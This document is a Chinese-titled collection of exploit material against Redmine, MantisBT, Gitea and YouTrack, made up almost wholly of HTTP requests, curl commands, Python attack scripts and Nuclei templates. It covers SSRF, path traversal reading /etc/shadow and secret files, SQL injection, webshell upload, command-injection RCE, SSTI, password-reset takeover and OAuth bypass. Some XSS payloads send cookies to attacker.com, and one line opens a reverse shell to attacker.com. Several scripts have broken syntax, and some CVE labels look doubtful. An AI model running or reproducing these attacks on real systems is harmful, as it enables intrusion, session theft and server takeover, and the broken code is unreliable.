项目跟踪与工单系统高危攻击链专题：Redmine / MantisBT / Gitea / YouTrack 漏洞全解析

POST /projects/test/wiki/wiki HTTP/1.1
Host: target:3000
Content-Type: application/x-www-form-urlencoded
Cookie: _redmine_session=<SESSION>
X-Redmine-Navigate: true

wiki[title]=SSRF+Test&wiki[content]=![](http://169.254.169.254/latest/meta-data/)&wiki[comments]=SSRF+test

curl -X POST "http://target:3000/projects/test/wiki/wiki" \
  -H "Cookie: _redmine_session=<SESSION>" \
  -d "wiki[title]=SSRF&wiki[content]=![](http://169.254.169.254/latest/meta-data/)&wiki[comments]=test" \
  -v

curl -X POST "http://target:3000/projects/test/wiki/wiki" \
  -H "Cookie: _redmine_session=<SESSION>" \
  -d "wiki[title]=FileRead&wiki[content]=![](file:///etc/passwd)&wiki[comments]=test" \
  -v

# 在攻击者服务器上设置 302 重定向到内网地址
curl -X POST "http://target:3000/projects/test/wiki/wiki" \
  -H "Cookie: _redmine_session=<SESSION>" \
  -d "wiki[title]=Redirect&wiki[content]=![](http://attacker.com/redirect)&wiki[comments]=test" \
  -v

#!/usr/bin/env python3
import sys
import requests
import urllib3
urllib3.disable_warnings()

def exploit_ssrf(target, session_cookie, payload_url):
    session = requests.Session()
    session.verify = False
    session.cookies.set("_redmine_session", session_cookie)

    wiki_url = f"{target}/projects/test/wiki/wiki"
    markdown_img = f"![]({payload_url})"
    data = {
        "wiki[title]": "SSRF_Test",
        "wiki[content]": markdown_img,
        "wiki[comments]: "SSRF PoC test"
    }

    r = session.post(wiki_url, data=data, timeout=15)
    if r.status_code in [200, 302]:
        print(f"[+] Markdown submitted to {wiki_url}")
        print(f"[+] Payload: {markdown_img}")
        print(f"[+] Check response for SSRF indicators")
    else:
        print(f"[-] Request failed: {r.status_code}")

    view_url = f"{target}/projects/test/wiki/ssrf_test"
    r2 = session.get(view_url, timeout=15)
    if "ami-" in r2.text or "instance-id" in r2.text:
        print("[+] AWS metadata detected in response!")
    elif "root:" in r2.text:
        print("[+] Local file read successful!")
    else:
        print("[*] Check response manually for SSRF evidence")

if __name__ == "__main__":
    if len(sys.argv) < 4:
        print(f"Usage: {sys.argv[0]} <target> <session_cookie> <payload_url>")
        print(f"Example: {sys.argv[0]} http://192.168.1.100:3000 abc123 http://169.254.169.254/latest/meta-data/")
        sys.exit(1)
    exploit_ssrf(sys.argv[1], sys.argv[2], sys.argv[3])

id: cve-2024-26145-redmine-ssrf

info:
  name: Redmine Markdown SSRF (CVE-2024-26145)
  author: security-researcher
  severity: medium
  description: |
    Redmine < 5.1.4 在 Markdown 图片渲染中存在 SSRF 漏洞，
    攻击者可通过图片 URL 触发服务端请求伪造
  tags: redmine,ssrf,cve-2024-26145,markdown
  reference:
    - https://www.redmine.org/issues/40513

http:
  - method: POST
    path:
      - "{{BaseURL}}/projects/test/wiki/wiki"
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "wiki[title]=ssrf_nuclei&wiki[content]=![](http://127.0.0.1:65535/)&wiki[comments]=test"
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "wiki-content"
          - "ssrf_nuclei"
        condition: and
        part: body
      - type: status
        status:
          - 200

POST /projects/test/wiki/xss_test HTTP/1.1
Host: target:3000
Content-Type: application/x-www-form-urlencoded
Cookie: _redmine_session=<SESSION>

wiki[title]=XSS+Test&wiki[content]=<script>document.location='http://attacker.com/steal?c='+document.cookie</script>&wiki[comments]=xss

curl -X POST "http://target:3000/projects/test/wiki/xss_test" \
  -H "Cookie: _redmine_session=<SESSION>" \
  -d 'wiki[title]=XSS&wiki[content]=<script>document.location="http://attacker.com/steal?c="+document.cookie</script>&wiki[comments]=test' \
  -v

#!/usr/bin/env python3
import sys
import requests
import urllib3
urllib3.disable_warnings()

def inject_xss(target, session_cookie, callback_url):
    session = requests.Session()
    session.verify = False
    session.cookies.set("_redmine_session", session_cookie)

    xss_payloads = [
        f'<script>document.location="{callback_url}/steal?c="+document.cookie</script>',
        f'<img src=x onerror="fetch(`{callback_url}/steal?c=`+document.cookie)">',
        f'<svg/onload="fetch(`{callback_url}/steal?c=`+document.cookie)">',
    ]

    for i, payload in enumerate(xss_payloads):
        data = {
            "wiki[title]": f"xss_test_{i}",
            "wiki[content]": payload,
            "wiki[comments]": f"XSS vector {i}"
        }
        r = session.post(
            f"{target}/projects/test/wiki/xss_test_{i}",
            data=data, timeout=10
        )
        if r.status_code in [200, 302]:
            print(f"[+] XSS vector {i} injected: {payload[:60]}...")
        else:
            print(f"[-] Vector {i} failed: {r.status_code}")

    print(f"\n[*] Visit the Wiki pages to trigger XSS callbacks to {callback_url}")

if __name__ == "__main__":
    if len(sys.argv) < 4:
        print(f"Usage: {sys.argv[0]} <target> <session_cookie> <callback_url>")
        sys.exit(1)
    inject_xss(sys.argv[1], sys.argv[2], sys.argv[3])

id: cve-2024-26146-redmine-xss

info:
  name: Redmine Wiki Stored XSS (CVE-2024-26146)
  author: security-researcher
  severity: medium
  description: |
    Redmine < 5.1.4 Wiki 渲染中存在存储型 XSS，
    攻击者可通过 Markdown 嵌入 HTML 执行任意 JavaScript
  tags: redmine,xss,cve-2024-26146,stored-xss

http:
  - method: POST
    path:
      - "{{BaseURL}}/projects/test/wiki/nuclei_xss"
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "wiki[title]=nuclei_xss&wiki[content]=<svg/onload=alert(1)>&wiki[comments]=test"
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "svg/onload=alert(1)"
        part: body
      - type: status
        status:
          - 200

GET /attachments/download/..%2f..%2f..%2f..%2fetc/passwd HTTP/1.1
Host: target:3000
User-Agent: Mozilla/5.0
Connection: close

curl -v "http://target:3000/attachments/download/..%2f..%2f..%2f..%2fetc/passwd"

curl -v "http://target:3000/attachments/download/..%2f..%2f..%2f..%2f..%2fconfig/configuration.yml"
curl -v "http://target:3000/attachments/download/..%2f..%2f..%2f..%2f..%2fconfig/database.yml"

production:
  database_adapter: postgresql
  database_host: localhost
  database_port: 5432
  database_name: redmine_prod
  database_username: redmine
  database_password: <明文密码>

#!/usr/bin/env python3
import sys
import requests
import urllib3
urllib3.disable_warnings()

TARGET_FILES = [
    ("/etc/passwd", "root:"),
    ("/etc/shadow", "root:"),
    ("/proc/self/environ", "HOME="),
    ("/config/configuration.yml", "database"),
    ("/config/database.yml", "adapter"),
    ("/config/secrets.yml", "secret_key_base"),
]

def exploit_path_traversal(target):
    session = requests.Session()
    session.verify = False

    print(f"[*] Testing path traversal on {target}")
    for remote_path, marker in TARGET_FILES:
        traversal = "%2f".join([".."] * 5) + remote_path
        url = f"{target}/attachments/download/{traversal}"
        try:
            r = session.get(url, timeout=10, allow_redirects=False)
            if r.status_code == 200 and marker in r.text:
                print(f"[+] {remote_path} -> FOUND! ({len(r.text)} bytes)")
                print(f"    First 200 chars: {r.text[:200]}")
            else:
                print(f"[-] {remote_path} -> Not found (HTTP {r.status_code})")
        except requests.exceptions.RequestException as e:
            print(f"[-] {remote_path} -> Error: {e}")

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <target>")
        sys.exit(1)
    exploit_path_traversal(sys.argv[1])

id: cve-2023-46846-redmine-path-traversal

info:
  name: Redmine 路径遍历文件读取 (CVE-2023-46846)
  author: security-researcher
  severity: high
  description: |
    Redmine < 5.0.7 附件下载存在路径遍历，
    攻击者可读取服务器任意文件
  tags: redmine,path-traversal,cve-2023-46846
  reference:
    - https://www.redmine.org/issues/40284

http:
  - method: GET
    path:
      - "{{BaseURL}}/attachments/download/..%2f..%2f..%2f..%2fetc/passwd"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: regex
        regex:
          - "root:.*:0:0:"
        part: body

GET /issues?set_filter=1&f[]=status_id&op[status_id]==1&v[status_id][]=1%27+OR+%271%27%3D%271 HTTP/1.1
Host: target:3000
Cookie: _redmine_session=<SESSION>
Connection: close

curl -v "http://target:3000/issues?set_filter=1&f[]=status_id&op[status_id]==1&v[status_id][]=1'+OR+'1'='1" \
  -H "Cookie: _redmine_session=<SESSION>"

curl -v "http://target:3000/issues?set_filter=1&f[]=priority_id&op[priority_id]==1&v[priority_id][]=1'+UNION+SELECT+version(),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25+FROM+pg_version--+-" \
  -H "Cookie: _redmine_session=<SESSION>"

#!/usr/bin/env python3
import sys
import requests
import urllib3
import re
urllib3.disable_warnings()

def test_sql_injection(target, session_cookie):
    session = requests.Session()
    session.verify = False
    session.cookies.set("_redmine_session", session_cookie)

    print(f"[*] Testing SQL injection on {target}")

    test_payloads = [
        ("Boolean-based", "1' OR '1'='1"),
        ("Boolean-false", "1' AND '1'='2"),
        ("UNION-probe", "1' UNION SELECT NULL-- -"),
    ]

    normal_url = f"{target}/issues?set_filter=1&f[]=status_id&op[status_id]==1&v[status_id][]=1"
    r_normal = session.get(normal_url, timeout=10)
    normal_count = r_normal.text.count("issue-")

    for name, payload in test_payloads:
        vuln_url = f"{target}/issues?set_filter=1&f[]=status_id&op[status_id]==1&v[status_id][]={requests.utils.quote(payload)}"
        r = session.get(vuln_url, timeout=10)
        payload_count = r.text.count("issue-")

        if name == "Boolean-false" and payload_count < normal_count:
            print(f"[+] {name}: Confirmed! (normal: {normal_count} issues, false: {payload_count} issues)")
        elif name == "Boolean-based" and payload_count >= normal_count:
            print(f"[+] {name}: Consistent with SQLi (returned {payload_count} issues)")
        elif name == "UNION-probe" and ("NULL" in r.text or "column" in r.text.lower()):
            print(f"[+] {name}: Possible injection point")
        else:
            print(f"[-] {name}: Not vulnerable or filtered (issues: {payload_count})")

    print("\n[*] Attempting database fingerprinting...")
    db_payload = "1' UNION SELECT version(),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -"
    vuln_url = f"{target}/issues?set_filter=1&f[]=priority_id&op[priority_id]==1&v[priority_id][]={requests.utils.quote(db_payload)}"
    r = session.get(vuln_url, timeout=10)
    version_match = re.search(r'(PostgreSQL|MySQL|SQLite)\s+[\d.]+', r.text)
    if version_match:
        print(f"[+] Database version: {version_match.group(0)}")
    else:
        print("[-] Could not extract database version")

if __name__ == "__main__":
    if len(sys.argv) < 3:
        print(f"Usage: {sys.argv[0]} <target> <session_cookie>")
        sys.exit(1)
    test_sql_injection(sys.argv[1], sys.argv[2])

id: cve-2022-25627-redmine-sqli

info:
  name: Redmine SQL 注入 (CVE-2022-25627)
  author: security-researcher
  severity: high
  description: |
    Redmine < 4.2.8 自定义字段筛选器存在 SQL 注入，
    已认证攻击者可执行任意 SQL 查询
  tags: redmine,sqli,cve-2022-25627

http:
  - method: GET
    path:
      - "{{BaseURL}}/issues?set_filter=1&f[]=status_id&op[status_id]==1&v[status_id][]=1'+OR+'1'='1"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "issue-"
        part: body

POST /uploads/ckeditor Attachment HTTP/1.1
Host: target:3000
Cookie: _redmine_session=<SESSION>
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
Content-Length: 280

------WebKitFormBoundary
Content-Disposition: form-data; name="upload"; filename="shell.php"
Content-Type: image/png

<% system("id") %>
------WebKitFormBoundary--

curl -X POST "http://target:3000/uploads/ckeditor Attachment" \
  -H "Cookie: _redmine_session=<SESSION>" \
  -F "upload=@shell.php;type=image/png" \
  -v

#!/usr/bin/env python3
import sys
import requests
import urllib3
urllib3.disable_warnings()

def upload_webshell(target, session_cookie, shell_content="<% system('id') %>"):
    session = requests.Session()
    session.verify = False
    session.cookies.set("_redmine_session", session_cookie)

    files = {
        "upload": ("shell.php", shell_content.encode(), "image/png")
    }

    r = session.post(
        f"{target}/uploads/ckeditor Attachment",
        files=files, timeout=15
    )
    if r.status_code == 200:
        try:
            result = r.json()
            file_url = result.get("url", result.get("file", {}).get("url", ""))
            print(f"[+] File uploaded: {file_url}")
            print(f"[+] Full URL: {target}{file_url}")
        except Exception:
            print(f"[+] Upload response: {r.text[:500]}")
    else:
        print(f"[-] Upload failed: {r.status_code}")

if __name__ == "__main__":
    if len(sys.argv) < 3:
        print(f"Usage: {sys.argv[0]} <target> <session_cookie> [shell_content]")
        sys.exit(1)
    content = sys.argv[3] if len(sys.argv) > 3 else "<% system('id') %>"
    upload_webshell(sys.argv[1], sys.argv[2], content)

id: redmine-ckeditor-file-upload

info:
  name: Redmine CKEditor 任意文件上传
  author: security-researcher
  severity: high
  description: |
    Redmine CKEditor 插件文件上传未正确限制文件类型
  tags: redmine,upload,ckeditor

http:
  - method: POST
    path:
      - "{{BaseURL}}/uploads/ckeditor Attachment"
    headers:
      Cookie: "_redmine_session=test"
    body: "------WebKitFormBoundary\r\nContent-Disposition: form-data; name=\"upload\"; filename=\"test.txt\"\r\nContent-Type: image/png\r\n\r\ntest\r\n------WebKitFormBoundary--"
    matchers:
      - type: word
        words:
          - "url"
          - "filename"
        condition: and
        part: body

# 通过 Mercurial 仓库名称注入命令
curl -X POST "http://target:3000/projects/test/settings/repository" \
  -H "Cookie: _redmine_session=<SESSION>" \
  -d "repository[identifier]=test\`id\`&repository[scm]=Mercurial&repository[url]=/tmp/hg-test" \
  -v

# 反弹 Shell 变种
curl -X POST "http://target:3000/projects/test/settings/repository" \
  -H "Cookie: _redmine_session=<SESSION>" \
  -d 'repository[identifier]=test$(bash -i >& /dev/tcp/attacker.com/4444 0>&1)&repository[scm]=Mercurial&repository[url]=/tmp/test' \
  -v

#!/usr/bin/env python3
import sys
import requests
import urllib3
urllib3.disable_warnings()

def exploit_mercurial_rce(target, session_cookie, command="id"):
    session = requests.Session()
    session.verify = False
    session.cookies.set("_redmine_session", session_cookie)

    payloads = [
        f"test`{command}`",
        f"test$({command})",
        f"test|{command}",
        f"test;{command}",
    ]

    for payload in payloads:
        data = {
            "repository[identifier]": payload,
            "repository[scm]": "Mercurial",
            "repository[url]": "/tmp/hg-test"
        }
        r = session.post(
            f"{target}/projects/test/settings/repository",
            data=data, timeout=10
        )
        if r.status_code in [200, 302]:
            print(f"[+] Payload sent: {payload}")
            print(f"    Check server output for command execution")

    print(f"\n[*] If command executed, check your listener or /tmp/hg-test")

if __name__ == "__main__":
    if len(sys.argv) < 3:
        print(f"Usage: {sys.argv[0]} <target> <session_cookie> [command]")
        sys.exit(1)
    cmd = sys.argv[3] if len(sys.argv) > 3 else "id"
    exploit_mercurial_rce(sys.argv[1], sys.argv[2], cmd)

id: redmine-mercurial-rce

info:
  name: Redmine Mercurial 命令注入 RCE
  author: security-researcher
  severity: critical
  description: |
    Redmine Mercurial 集成在仓库名称处理中存在命令注入
  tags: redmine,rce,mercurial,command-injection

http:
  - method: POST
    path:
      - "{{BaseURL}}/projects/test/settings/repository"
    headers:
      Cookie: "_redmine_session=test"
    body: "repository[identifier]=test%60id%60&repository[scm]=Mercurial&repository[url]=/tmp/test"
    matchers:
      - type: word
        words:
          - "repository"
        part: body

# SQL 注入检测（Boolean-based blind）
curl -v "http://target/api/rest/issues?filter=%7B%22fields%22%3A%7B%22summary%22%3A%22test%27+OR+1%3D1--+-\%22%7D%7D" \
  -H "Authorization: token <API_TOKEN>" \
  -H "Content-Type: application/json"

# 提取数据库版本
curl -v "http://target/api/rest/issues?filter=%7B%22fields%22%3A%7B%22summary%22%3A%22test%27+UNION+SELECT+version()--+-\%22%7D%7D" \
  -H "Authorization: token <API_TOKEN>" \
  -H "Content-Type: application/json"

#!/usr/bin/env python3
import sys
import requests
import json
import urllib3
urllib3.disable_warnings()

def test_sqli(target, api_token):
    session = requests.Session()
    session.verify = False
    session.headers.update({
        "Authorization": f"token {api_token}",
        "Content-Type": "application/json"
    })

    print(f"[*] Testing MantisBT SQL injection on {target}")

    normal_filter = json.dumps({"fields": {"summary": "test"}})
    r_normal = session.get(
        f"{target}/api/rest/issues",
        params={"filter": normal_filter},
        timeout=10
    )
    normal_count = len(r_normal.json().get("issues", []))

    sqli_filter = json.dumps({"fields": {"summary": "test' OR '1'='1"}})
    r_sqli = session.get(
        f"{target}/api/rest/issues",
        params={"filter": sqli_filter},
        timeout=10
    )
    sqli_count = len(r_sqli.json().get("issues", []))

    if sqli_count > normal_count:
        print(f"[+] SQL injection confirmed! (normal: {normal_count}, sqli: {sqli_count})")
    else:
        print(f"[-] Not vulnerable (normal: {normal_count}, sqli: {sqli_count})")
        return

    print("[*] Attempting UNION-based extraction...")
    union_filter = json.dumps({
        "fields": {
            "summary": "test' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40-- -"
        }
    })
    r_union = session.get(
        f"{target}/api/rest/issues",
        params={"filter": union_filter},
        timeout=10
    )
    print(f"[+] UNION response: {r_union.status_code}")
    print(f"[+] Response body: {r_union.text[:500]}")

if __name__ == "__main__":
    if len(sys.argv) < 3:
        print(f"Usage: {sys.argv[0]} <target> <api_token>")
        sys.exit(1)
    test_sqli(sys.argv[1], sys.argv[2])

id: cve-2023-22810-mantisbt-sqli

info:
  name: MantisBT REST API SQL 注入 (CVE-2023-22810)
  author: security-researcher
  severity: high
  description: |
    MantisBT < 2.25.2 REST API 参数存在 SQL 注入
  tags: mantisbt,sqli,cve-2023-22810,rest-api

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/rest/issues?filter=%7B%22fields%22%3A%7B%22summary%22%3A%22test%27+OR+1%3D1--\%22%7D%7D"
    headers:
      Authorization: "token test"
      Content-Type: "application/json"
    matchers:
      - type: word
        words:
          - "issues"
        part: body
      - type: status
        status:
          - 200

# 创建包含 XSS 的 Issue
curl -X POST "http://target/api/rest/issues" \
  -H "Authorization: token <API_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{
    "summary": "<img src=x onerror=\"fetch(\"http://attacker.com/steal?c=\"+document.cookie)\">",
    "description": "Test issue",
    "project": {"id": 1}
  }' -v

# 通过 Web 界面注入
curl -X POST "http://target/bug_report.php" \
  -H "Cookie: MANTIS_SECURE_SESSION=<SESSION>" \
  -d 'summary=<svg/onload=alert(document.cookie)>&description=test&category=&severity=&reproducibility=&product_id=1' \
  -v

#!/usr/bin/env python3
import sys
import requests
import json
import urllib3
urllib3.disable_warnings()

def inject_xss(target, api_token, callback_url):
    session = requests.Session()
    session.verify = False
    session.headers.update({
        "Authorization": f"token {api_token}",
        "Content-Type": "application/json"
    })

    xss_payloads = [
        f'<img src=x onerror="fetch(`{callback_url}/steal?c=`+document.cookie)">',
        f'<svg/onload="fetch(`{callback_url}/steal?c=`+document.cookie)">',
        f'<script>new Image().src="{callback_url}/steal?c="+document.cookie</script>',
        f'"><script>document.location="{callback_url}/steal?c="+document.cookie</script>',
    ]

    for i, payload in enumerate(xss_payloads):
        issue_data = {
            "summary": payload,
            "description": f"XSS test vector {i}",
            "project": {"id": 1}
        }
        r = session.post(
            f"{target}/api/rest/issues",
            json=issue_data, timeout=10
        )
        if r.status_code in [200, 201]:
            issue = r.json()
            issue_id = issue.get("issue", {}).get("id", "unknown")
            print(f"[+] Issue #{issue_id} created with XSS vector {i}")
        else:
            print(f"[-] Vector {i} failed: {r.status_code} {r.text[:200]}")

    print(f"\n[*] Wait for admin to view issues. Callbacks will go to {callback_url}")

if __name__ == "__main__":
    if len(sys.argv) < 4:
        print(f"Usage: {sys.argv[0]} <target> <api_token> <callback_url>")
        sys.exit(1)
    inject_xss(sys.argv[1], sys.argv[2], sys.argv[3])

id: cve-2023-24203-mantisbt-xss

info:
  name: MantisBT 存储型 XSS (CVE-2023-24203)
  author: security-researcher
  severity: critical
  description: |
    MantisBT < 2.25.2 存在存储型 XSS，可窃取管理员会话
  tags: mantisbt,xss,cve-2023-24203,stored-xss

http:
  - method: POST
    path:
      - "{{BaseURL}}/api/rest/issues"
    headers:
      Authorization: "token test"
      Content-Type: "application/json"
    body: '{"summary":"<svg/onload=alert(1)>","description":"xss test","project":{"id":1}}'
    matchers:
      - type: word
        words:
          - "issue"
        part: body

<?xml version="1.0" encoding="UTF-8"?>
<mantis>
  <project>
    <name>test`id &gt; /tmp/pwned.txt`</name>
    <description>Project import test</description>
    <status>10</status>
    <view_state>10</view_state>
  </project>
</mantis>

# 上传恶意 XML 导入文件
curl -X POST "http://target/api/rest/projects/import" \
  -H "Authorization: token <API_TOKEN>" \
  -F "file=@payload.xml;type=text/xml" \
  -v

#!/usr/bin/env python3
import sys
import requests
import urllib3
urllib3.disable_warnings()

def exploit_import_rce(target, api_token, command="id"):
    session = requests.Session()
    session.verify = False
    session.headers.update({
        "Authorization": f"token {api_token}"
    })

    xml_payload = f"""<?xml version="1.0" encoding="UTF-8"?>
<mantis>
  <project>
    <name>test`{command}`</name>
    <description>Import RCE test</description>
    <status>10</status>
    <view_state>10</view_state>
  </project>
</mantis>"""

    files = {
        "file": ("payload.xml", xml_payload.encode(), "text/xml")
    }

    r = session.post(
        f"{target}/api/rest/projects/import",
        files=files, timeout=15
    )

    if r.status_code in [200, 201]:
        print(f"[+] Payload uploaded successfully")
        print(f"[+] Command: {command}")
        print(f"[+] Response: {r.text[:500]}")
    else:
        print(f"[-] Upload failed: {r.status_code} {r.text[:200]}")

    print("[*] Check /tmp/pwned.txt for command output")

if __name__ == "__main__":
    if len(sys.argv) < 3:
        print(f"Usage: {sys.argv[0]} <target> <api_token> [command]")
        sys.exit(1)
    cmd = sys.argv[3] if len(sys.argv) > 3 else "id"
    exploit_import_rce(sys.argv[1], sys.argv[2], cmd)

id: cve-2019-15558-mantisbt-rce

info:
  name: MantisBT 项目导入命令注入 (CVE-2019-15558)
  author: security-researcher
  severity: critical
  description: |
    MantisBT 2.21.1 项目导入功能存在命令注入 RCE
  tags: mantisbt,rce,cve-2019-15558,command-injection

http:
  - method: POST
    path:
      - "{{BaseURL}}/api/rest/projects/import"
    headers:
      Authorization: "token test"
    body: "------boundary\r\nContent-Disposition: form-data; name=\"file\"; filename=\"test.xml\"\r\nContent-Type: text/xml\r\n\r\n<?xml version=\"1.0\"?><mantis><project><name>test</name><status>10</status></project></mantis>\r\n------boundary--"
    matchers:
      - type: word
        words:
          - "import"
        part: body

# 步骤 1：发起密码重置请求
curl -X POST "http://target/lost_password.php" \
  -d "username=admin" \
  -v

# 步骤 2：如果 Token 可预测，尝试直接访问重置页面
curl -v "http://target/verify.php?id=1&confirm_string=PREDICTED_TOKEN"

# 步骤 3：设置新密码
curl -X POST "http://target/verify.php?id=1&confirm_string=PREDICTED_TOKEN" \
  -d "password=NewP@ssw0rd&password_confirm=NewP@ssw0rd" \
  -v

#!/usr/bin/env python3
import sys
import requests
import hashlib
import time
import urllib3
urllib3.disable_warnings()

def exploit_password_reset(target, user_id, reset_token):
    session = requests.Session()
    session.verify = False

    print(f"[*] Testing password reset on {target}")

    reset_url = f"{target}/verify.php?id={user_id}&confirm_string={reset_token}"
    r = session.get(reset_url, timeout=10)

    if r.status_code == 200 and "password" in r.text.lower():
        print(f"[+] Reset page accessible for user {user_id}")

        data = {
            "password": "Hacked@123",
            "password_confirm": "Hacked@123"
        }
        r2 = session.post(reset_url, data=data, timeout=10)
        if "password" not in r2.text.lower() or r2.status_code == 302:
            print(f"[+] Password reset successful for user {user_id}")
            print(f"[*] Login with: user_id={user_id}, password=Hacked@123")
        else:
            print(f"[-] Password reset failed")
    else:
        print(f"[-] Reset page not accessible (HTTP {r.status_code})")

if __name__ == "__main__":
    if len(sys.argv) < 4:
        print(f"Usage: {sys.argv[0]} <target> <user_id> <reset_token>")
        sys.exit(1)
    exploit_password_reset(sys.argv[1], int(sys.argv[2]), sys.argv[3])

id: mantisbt-password-reset

info:
  name: MantisBT 密码重置漏洞
  author: security-researcher
  severity: high
  description: |
    MantisBT 密码重置 Token 生成存在缺陷
  tags: mantisbt,password-reset,logic-flaw

http:
  - method: GET
    path:
      - "{{BaseURL}}/verify.php?id=1&confirm_string=test"
    matchers:
      - type: word
        words:
          - "confirm"
          - "password"
        condition: and
        part: body

# 创建包含 XSS 的仓库
curl -X POST "http://target:3000/user/repo/create" \
  -H "Cookie: <session_cookie>" \
  -d "repo_name=<script>document.location='http://attacker.com/steal?c='+document.cookie</script>&_csrf=<csrf_token>" \
  -v

#!/usr/bin/env python3
import sys
import requests
import urllib3
urllib3.disable_warnings()

def inject_repo_xss(target, session_cookie, callback_url):
    session = requests.Session()
    session.verify = False
    session.cookies.set("gitea_session", session_cookie)

    csrf_r = session.get(f"{target}/user/repo/create", timeout=10)
    import re
    csrf_match = re.search(r'name="_csrf"\s+value="([^"]+)"', csrf_r.text)
    csrf_token = csrf_match.group(1) if csrf_match else ""

    xss_payloads = [
        f'<script>fetch("{callback_url}/steal?c="+document.cookie)</script>',
        f'<img src=x onerror="fetch(`{callback_url}/steal?c=`+document.cookie)">',
    ]

    for i, payload in enumerate(xss_payloads):
        data = {
            "repo_name": f"xtest{i}{payload}",
            "_csrf": csrf_token
        }
        r = session.post(f"{target}/user/repo/create", data=data, timeout=10)
        if r.status_code in [200, 302]:
            print(f"[+] XSS vector {i} injected in repo name")
        else:
            print(f"[-] Vector {i} failed: {r.status_code}")

if __name__ == "__main__":
    if len(sys.argv) < 4:
        print(f"Usage: {sys.argv[0]} <target> <session_cookie> <callback_url>")
        sys.exit(1)
    inject_repo_xss(sys.argv[1], sys.argv[2], sys.argv[3])

id: cve-2023-39138-gitea-xss

info:
  name: Gitea 仓库名 XSS (CVE-2023-39138)
  author: security-researcher
  severity: medium
  description: Gitea 仓库名称存在 XSS 漏洞
  tags: gitea,xss,cve-2023-39138

http:
  - method: GET
    path:
      - "{{BaseURL}}/explore/repos?q=<script>alert(1)</script>"
    matchers:
      - type: word
        words:
          - "<script>alert(1)</script>"
        part: body

curl -v "http://target:3000/user/oauth2/callback?code=test&state=test&provider=test" \
  -H "Cookie: <attacker_cookie>"

#!/usr/bin/env python3
import sys
import requests
import urllib3
urllib3.disable_warnings()

def exploit_oauth_provider(target):
    session = requests.Session()
    session.verify = False

    r = session.get(f"{target}/", timeout=10)
    if "Gitea" not in r.text:
        print("[-] Not a Gitea instance")
        return

    print(f"[*] Testing OAuth Provider bypass on {target}")

    providers = ["github", "gitlab", "google", "discord", "test"]
    for provider in providers:
        callback_url = f"{target}/user/oauth2/{provider}/callback?code=attacker&state=state123"
        r = session.get(callback_url, timeout=10, allow_redirects=False)
        if r.status_code in [200, 302]:
            cookies = dict(session.cookies)
            if any("session" in k.lower() for k in cookies):
                print(f"[+] Potential bypass via provider: {provider}")
                user_r = session.get(f"{target}/api/v1/user", timeout=10)
                if user_r.status_code == 200:
                    data = user_r.json()
                    print(f"[+] Authenticated as: {data.get('login')}")
                    return True
    print("[-] No bypass found")
    return False

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <target>")
        sys.exit(1)
    exploit_oauth_provider(sys.argv[1])

id: cve-2024-6838-gitea-oauth-bypass

info:
  name: Gitea OAuth Provider 认证绕过 (CVE-2024-6838)
  author: security-researcher
  severity: high
  description: Gitea OAuth Provider 配置存在认证绕过
  tags: gitea,auth-bypass,cve-2024-6838,oauth

http:
  - method: GET
    path:
      - "{{BaseURL}}/user/oauth2/test/callback?code=test&state=test"
    matchers:
      - type: status
        status:
          - 200
          - 302

# 步骤 1：创建自定义字段（需要管理员权限）
curl -X POST "http://target/api/customFields" \
  -H "Authorization: Bearer <TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{
    "name": "ssti_test",
    "type": {"$type": "stringField"},
    "fieldDefaults": [{"name": "#{T(java.lang.Runtime).getRuntime().exec(\"id\")}"}]
  }' -v

# 步骤 2：触发工作流执行
curl -X POST "http://target/api/issues" \
  -H "Authorization: Bearer <TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"summary": "SSTI test", "project": {"shortName": "TEST"}}' -v

#!/usr/bin/env python3
import sys
import requests
import json
import urllib3
urllib3.disable_warnings()

def exploit_ssti(target, api_token, command="id"):
    session = requests.Session()
    session.verify = False
    session.headers.update({
        "Authorization": f"Bearer {api_token}",
        "Content-Type": "application/json"
    })

    ssti_payloads = [
        f"#{{T(java.lang.Runtime).getRuntime().exec(\"{command}\")}}",
        f"#{{T(java.lang.ProcessBuilder).new(\"bash\",\"-c\",\"{command}\").start()}}",
    ]

    for i, payload in enumerate(ssti_payloads):
        field_data = {
            "name": f"ssti_{i}",
            "type": {"$type": "stringField"},
            "fieldDefaults": [{"name": payload}]
        }
        r = session.post(
            f"{target}/api/customFields",
            json=field_data, timeout=10
        )
        if r.status_code in [200, 201]:
            print(f"[+] Custom field created with SSTI payload {i}")
            print(f"    Payload: {payload}")
        else:
            print(f"[-] Field creation failed: {r.status_code} {r.text[:200]}")

    print("[*] Create an issue to trigger the workflow and execute the command")
    issue_data = {
        "summary": "SSTI Trigger",
        "project": {"shortName": "TEST"}
    }
    r = session.post(f"{target}/api/issues", json=issue_data, timeout=10)
    if r.status_code in [200, 201]:
        print(f"[+] Issue created, workflow triggered")

if __name__ == "__main__":
    if len(sys.argv) < 3:
        print(f"Usage: {sys.argv[0]} <target> <api_token> [command]")
        sys.exit(1)
    cmd = sys.argv[3] if len(sys.argv) > 3 else "id"
    exploit_ssti(sys.argv[1], sys.argv[2], cmd)

id: youtrack-ssti-rce

info:
  name: YouTrack SSTI Remote Code Execution
  author: security-researcher
  severity: critical
  description: YouTrack 自定义工作流存在 SSTI 导致 RCE
  tags: youtrack,ssti,rce,jetbrains

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/health"
    matchers:
      - type: word
        words:
          - "YouTrack"
        part: body

curl -v "http://target/api/users?fields=id,login,email,ringId" \
